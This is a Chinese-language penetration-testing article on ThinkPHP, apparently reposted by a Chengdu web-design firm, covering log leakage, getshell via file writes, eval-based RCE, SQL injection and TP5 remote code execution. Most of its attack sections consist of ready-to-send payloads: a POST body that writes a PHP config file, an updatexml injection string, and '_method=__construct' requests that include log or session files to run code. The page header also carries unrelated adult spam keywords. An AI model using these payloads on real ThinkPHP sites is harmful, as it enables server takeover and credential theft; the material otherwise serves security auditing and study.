真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

ThinkPHP有哪些滲透方式

這篇文章給大家分享的是有關(guān)ThinkPHP有哪些滲透方式的內(nèi)容。小編覺得挺實(shí)用的,因此分享給大家做個(gè)參考。一起跟隨小編過來看看吧。

創(chuàng)新互聯(lián)建站堅(jiān)持“要么做到,要么別承諾”的工作理念,服務(wù)領(lǐng)域包括:成都做網(wǎng)站、網(wǎng)站建設(shè)、外貿(mào)營銷網(wǎng)站建設(shè)、企業(yè)官網(wǎng)、英文網(wǎng)站、手機(jī)端網(wǎng)站、網(wǎng)站推廣等服務(wù),滿足客戶于互聯(lián)網(wǎng)時(shí)代的蘇家屯網(wǎng)站設(shè)計(jì)、移動(dòng)媒體設(shè)計(jì)的需求,幫助企業(yè)找到有效的互聯(lián)網(wǎng)解決方案。努力成為您成熟可靠的網(wǎng)絡(luò)建設(shè)合作伙伴!

ThinkPHP是一個(gè)快速、兼容而且簡單的輕量級國產(chǎn)PHP開發(fā)框架,可以支持Windows/Unix/Linux等服務(wù)器環(huán)境,正式版需要PHP5.0以上版本支持,支持MySQL、PgSQL、Sqlite多種數(shù)據(jù)庫以及PDO擴(kuò)展。

Runtime日志

在ThinkPHP3的版本中,入口文件index.php是跟應(yīng)用目錄、框架目錄在同一個(gè)目錄下的,在DEBUG開啟的狀態(tài)下,會(huì)在runtime生成日志文件,泄露一些管理員登錄后臺(tái)的賬號密碼等。tp3的日志文件命名規(guī)則為:根目錄(或者應(yīng)用目錄)/Runtime/Logs/Admin/20_08_17.log(年份前2位_月份_日.log)

ThinkPHP有哪些滲透方式

在tp5的版本中,入口文件index是在public的目錄下,它跟應(yīng)用目錄、框架目錄不在同一個(gè)目錄,但是有些管理員會(huì)將入口文件放置到跟應(yīng)用目錄、框架目錄同目錄,tp5的命名規(guī)則為:

./runtime/log/202008/17.log(./runtime/log/年月/日.log)

ThinkPHP有哪些滲透方式

file_put_contents函數(shù)

在ThinkPHP3中,后臺(tái)有時(shí)會(huì)寫入配置文件來getshell的,所以我傾向全局查找這個(gè)file_put_contents函數(shù),然后在網(wǎng)上找個(gè)代碼--yershop(TP3開發(fā)的那個(gè)版本)來進(jìn)行審計(jì),后臺(tái)可以通過寫入文件來拿shell。全局查找file_put_contents函數(shù),發(fā)現(xiàn)控制器AddonsController.class.php中的build存在。

ThinkPHP有哪些滲透方式

發(fā)現(xiàn)存在兩處寫入文件,這里第一處需要滿足以下條件:

$addon_dir可控,$data可控,$addonModel可控

第二處需要滿足:

$data['has_config'] == 1,$addon_dir可控

跟蹤發(fā)現(xiàn)$data是從全局POST獲取的,所有可控,即$addon_dir可控。

ThinkPHP有哪些滲透方式

構(gòu)造payload如下,后臺(tái)創(chuàng)建擴(kuò)展。

ThinkPHP有哪些滲透方式

點(diǎn)擊確定,抓包,首先會(huì)判斷標(biāo)識(shí)名這個(gè)插件是否存在,不存在就執(zhí)行build訪問。

ThinkPHP有哪些滲透方式

由于要寫入config.php這個(gè)文件需要滿足$data['has_config'] == 1,最后構(gòu)造payload。

訪問:index.php?s=/Admin/Addons/build.html

POST發(fā)送:

info%5Bname%5D=Example&info%5Btitle%5D=%E7%A4%BA%E5%88%97&info%5Bversion%5D=0.1&info%5Bauthor%5D=%E6%97%A0%E5%90%8D&info%5Bdescription%5D=%E8%BF%99%E6%98%AF%E4%B8%80%E4%B8%AA%E4%B8%B4%E6%97%B6%E6%8F%8F%E8%BF%B0&info%5Bstatus%5D=1&config=%3C%3Fphp%0D%0Areturn+array(%0D%0A%09'random'%3D%3Earray(%2F%2F%E9%85%8D%E7%BD%AE%E5%9C%A8%E8%A1%A8%E5%8D%95%E4%B8%AD%E7%9A%84%E9%94%AE%E5%90%8D+%2C%E8%BF%99%E4%B8%AA%E4%BC%9A%E6%98%AFconfig%5Brandom%5D%0D%0A%09%09'title'%3D%3E'%E6%98%AF%E5%90%A6%E5%BC%80%E5%90%AF%E9%9A%8F%E6%9C%BA%3A'%2C%2F%2F%E8%A1%A8%E5%8D%95%E7%9A%84%E6%96%87%E5%AD%97%0D%0A%09%09'type'%3D%3E'radio'%2C%09%09+%2F%2F%E8%A1%A8%E5%8D%95%E7%9A%84%E7%B1%BB%E5%9E%8B%EF%BC%9Atext%E3%80%81textarea%E3%80%81checkbox%E3%80%81radio%E3%80%81select%E7%AD%89%0D%0A%09%09'options'%3D%3Earray(%09%09+%2F%2Fselect+%E5%92%8Cradion%E3%80%81checkbox%E7%9A%84%E5%AD%90%E9%80%89%E9%A1%B9%0D%0A%09%09%09'1'%3D%3E'%E5%BC%80%E5%90%AF'%2C%09%09+%2F%2F%E5%80%BC%3D%3E%E6%96%87%E5%AD%97%0D%0A%09%09%09'0'%3D%3E'%E5%85%B3%E9%97%AD'%2C%0D%0A%09%09)%2C%0D%0A%09%09'value'%3D%3E'1'%2C%09%09%09+%2F%2F%E8%A1%A8%E5%8D%95%E7%9A%84%E9%BB%98%E8%AE%A4%E5%80%BC%0D%0A%09)%2C%0D%0A)%3B%0D%0A%09%09%09%09%09&custom_config=&admin_list='model'%3D%3E'Example'%2C%09%09%2F%2F%E8%A6%81%E6%9F%A5%E7%9A%84%E8%A1%A8%0D%0A%09%09%09'fields'%3D%3E'*'%2C%09%09%09%2F%2F%E8%A6%81%E6%9F%A5%E7%9A%84%E5%AD%97%E6%AE%B5%0D%0A%09%09%09'map'%3D%3E''%2C%09%09%09%09%2F%2F%E6%9F%A5%E8%AF%A2%E6%9D%A1%E4%BB%B6%2C+%E5%A6%82%E6%9E%9C%E9%9C%80%E8%A6%81%E5%8F%AF%E4%BB%A5%E5%86%8D%E6%8F%92%E4%BB%B6%E7%B1%BB%E7%9A%84%E6%9E%84%E9%80%A0%E6%96%B9%E6%B3%95%E9%87%8C%E5%8A%A8%E6%80%81%E9%87%8D%E7%BD%AE%E8%BF%99%E4%B8%AA%E5%B1%9E%E6%80%A7%0D%0A%09%09%09'order'%3D%3E'id+desc'%2C%09%09%2F%2F%E6%8E%92%E5%BA%8F%2C%0D%0A%09%09%09'list_grid'%3D%3Earray(+%09%09%2F%2F%E8%BF%99%E9%87%8C%E5%AE%9A%E4%B9%89%E7%9A%84%E6%98%AF%E9%99%A4%E4%BA%86id%E5%BA%8F%E5%8F%B7%E5%A4%96%E7%9A%84%E8%A1%A8%E6%A0%BC%E9%87%8C%E5%AD%97%E6%AE%B5%E6%98%BE%E7%A4%BA%E7%9A%84%E8%A1%A8%E5%A4%B4%E5%90%8D%E5%92%8C%E6%A8%A1%E5%9E%8B%E4%B8%80%E6%A0%B7%E6%94%AF%E6%8C%81%E5%87%BD%E6%95%B0%E5%92%8C%E9%93%BE%E6%8E%A5%0D%0A++++++++++++++++'cover_id%7Cpreview_pic%3A%E5%B0%81%E9%9D%A2'%2C%0D%0A++++++++++++++++'title%3A%E4%B9%A6%E5%90%8D'%2C%0D%0A++++++++++++++++'description%3A%E6%8F%8F%E8%BF%B0'%2C%0D%0A++++++++++++++++'link_id%7Cget_link%3A%E5%A4%96%E9%93%BE'%2C%0D%0A++++++++++++++++'update_time%7Ctime_format%3A%E6%9B%B4%E6%96%B0%E6%97%B6%E9%97%B4'%2C%0D%0A++++++++++++++++'id%3A%E6%93%8D%E4%BD%9C%3A%5BEDIT%5D%7C%E7%BC%96%E8%BE%91%2C%5BDELETE%5D%7C%E5%88%A0%E9%99%A4'%0D%0A++++++++++++)%2C%0D%0A%09%09%09%09%09&custom_adminlist=&has_config=1&config=

成功寫入config.php文件,訪問Addons/Example/config.php。

ThinkPHP有哪些滲透方式

所以,在tp3開發(fā)的源碼中,全局查找file_put_contents很容易中獎(jiǎng)。

Auth引發(fā)的RCE

在tp3中,在Auth的getAuthList方法存在eval函數(shù),跟進(jìn)代碼

ThinkPHP\Library\Think\Auth.class.php。

ThinkPHP有哪些滲透方式

這里需要滿足$command變量可控就可以rce了,$command為[表前綴]_auth_rule的condition字段,還是以yershop源碼來分析,控制權(quán)限的表為yershop_auth_rule。

ThinkPHP有哪些滲透方式

所以,漏洞觸發(fā)需要向condition字段寫入惡意代碼,要利用注入且支持pdo就能寫入進(jìn)去,tp3是以pdo來連接數(shù)據(jù)庫的,這里滿足了pdo,就需要尋找注入點(diǎn)來getshell了。

在文件Application\Home\Controller\OrderController.class.php中的detail方法,通過I方法獲取id參數(shù)。

ThinkPHP有哪些滲透方式

利用pdo修改condition字段

ThinkPHP有哪些滲透方式

繼續(xù)分析,怎么調(diào)用到getAuthList這個(gè)方法的,在Application\Admin\Controller\AdminController.class.php控制器中,調(diào)用了checkRule方法,在checkRule方法實(shí)列了Auth類,并調(diào)用了check方法。

ThinkPHP有哪些滲透方式

跟進(jìn)check方法:

ThinkPHP有哪些滲透方式

在104行調(diào)用了我們的getAuthList方法,執(zhí)行到了eval函數(shù)處。要觸發(fā)rce,從代碼中可以看到需要普通用戶的權(quán)限才會(huì)執(zhí)行到checkRule方法,所以先添加一個(gè)新用戶并新增一個(gè)用戶組,給文章管理的權(quán)限。

ThinkPHP有哪些滲透方式

登錄這個(gè)用戶,訪問注入修改的路由,成功rce。

ThinkPHP有哪些滲透方式

SQL注入

在TP3.1.3和TP3.2.3注入都差不多,無非就表達(dá)式注入,bind注入,find/select/delete注入,order注入,在之前的文章中,分析過關(guān)于tp3.2.3的注入,這里主要是TP5的注入。

ThinkPHP<=5.0.16 insert/update注入

在ThinkPHP5中,獲取請求方式的方法是input,在控制器中,寫個(gè)存在漏洞的demo:

public function getuser(){
        $username = input('get.username/a');
        $user = db('user')->where(['uid'=>1])->update(['username'=>$username]);
        dump($user);
    }

漏洞payload:

username[0]=dec&username[1]=updatexml(1,concat(0x7e,user(),0x7e),1)&username[2]=1

ThinkPHP有哪些滲透方式

在user變量處,斷點(diǎn)進(jìn)行分析,直接進(jìn)入update方法。

ThinkPHP有哪些滲透方式

繼續(xù)跟進(jìn)$this->builder->update

ThinkPHP有哪些滲透方式

在parseData方法中,進(jìn)行了sql語句的拼接。

ThinkPHP有哪些滲透方式

當(dāng)參數(shù)傳入數(shù)組的時(shí)候,下標(biāo)0為exp時(shí)候,直接返回下標(biāo)為1的參數(shù)值,而為inc或者dec時(shí)候,通過parseKey方法處理了下標(biāo)為1的參數(shù)值,跟進(jìn)查看parseKey方法:

protected function parseKey($key, $options = [])
    {
        $key = trim($key);
        if (strpos($key, '$.') && false === strpos($key, '(')) {
            // JSON字段支持
            list($field, $name) = explode('$.', $key);
            $key                = 'json_extract(' . $field . ', \'$.' . $name . '\')';
        } elseif (strpos($key, '.') && !preg_match('/[,\'\"\(\)`\s]/', $key)) {
            list($table, $key) = explode('.', $key, 2);
            if ('__TABLE__' == $table) {
                $table = $this->query->getTable();
            }
            if (isset($options['alias'][$table])) {
                $table = $options['alias'][$table];
            }
        }
        if (!preg_match('/[,\'\"\*\(\)`.\s]/', $key)) {
            $key = '`' . $key . '`';
        }
        if (isset($table)) {
            if (strpos($table, '.')) {
                $table = str_replace('.', '`.`', $table);
            }
            $key = '`' . $table . '`.' . $key;
        }
        return $key;
    }

然而parseKey并沒有對傳入的字符進(jìn)行任何過濾,所以當(dāng)輸入exp,inc,dec,都返回的字符串,為什么參數(shù)值為exp的時(shí)候不能產(chǎn)生注入,原因是在用input方法傳入的時(shí)候,要經(jīng)過filterExp進(jìn)行過濾。

public function filterExp(&$value)
    {
        // 過濾查詢特殊字符
        if (is_string($value) && preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT LIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
            $value .= ' ';
        }
        // TODO 其他安全過濾
    }

當(dāng)匹配到exp的時(shí)候,就會(huì)在exp后面添加一個(gè)空格,導(dǎo)致不能同parseKey方法中的exp相等。同樣,利用insert方法向數(shù)據(jù)庫插入數(shù)據(jù)也是同種原理。由于篇幅問題,網(wǎng)上的分析文章也多,之后的注入不想再造輪子了,可以詳細(xì)看這個(gè)師傅的文章:https://github.com/Mochazz/ThinkPHP-Vuln

TP5 rce漏洞

TP5的rce漏洞影響版本:ThinkPHP 5.0.x ~ 5.0.23、ThinkPHP 5.1.x ~ 5.1.31、ThinkPHP 5.2.0beta1

TP5rce的分析網(wǎng)上也比較多了,這里主要說下在TP滲透,php7版本的關(guān)于log文件和session文件包含的問題。

runtime文件包含拿shell

先寫入一句話到runtime日志中,POST發(fā)送。

_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=

runtime的日志文件為./runtime/log/202008/17.log

_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../runtime/log/202008/17.log&cmd=phpinfo();

ThinkPHP有哪些滲透方式

session文件包含拿shell

寫入session文件

_method=__construct&filter[]=think\Session::set&method=get&get[]=&server[]=1

一般linux下的session文件存儲(chǔ)在/var/lib/php/session,session的命名為sess_[PHPSESSID]。

_method=__construct&method=get&filter[]=think\__include_file&get[]=/var/lib/php/session/sess_sf9vlodcl4j4r1bhli2ddnvr32&server[]=1&cmd=phpinfo();

ThinkPHP有哪些滲透方式

其實(shí)也可以用反序列化的點(diǎn)來,只是有點(diǎn)麻煩,需要去調(diào)代碼。

_method=__construct&filter=unserialize&method=get&server[REQUEST_METHOD]=序列化

反序列化

反序列化點(diǎn)通常都是在代碼審計(jì)當(dāng)中被發(fā)現(xiàn)的,當(dāng)unserialize可控時(shí)可以觸發(fā),但是只光靠unserialize可控很難找到可控點(diǎn),這時(shí)安全研究員Sam Thomas分享了一個(gè)關(guān)于phar反序列的漏洞,大大增加了反序列化的利用點(diǎn)。

感謝各位的閱讀!關(guān)于ThinkPHP有哪些滲透方式就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,讓大家可以學(xué)到更多知識(shí)。如果覺得文章不錯(cuò),可以把它分享出去讓更多的人看到吧!


分享標(biāo)題:ThinkPHP有哪些滲透方式
網(wǎng)頁網(wǎng)址:http://weahome.cn/article/gdeocd.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部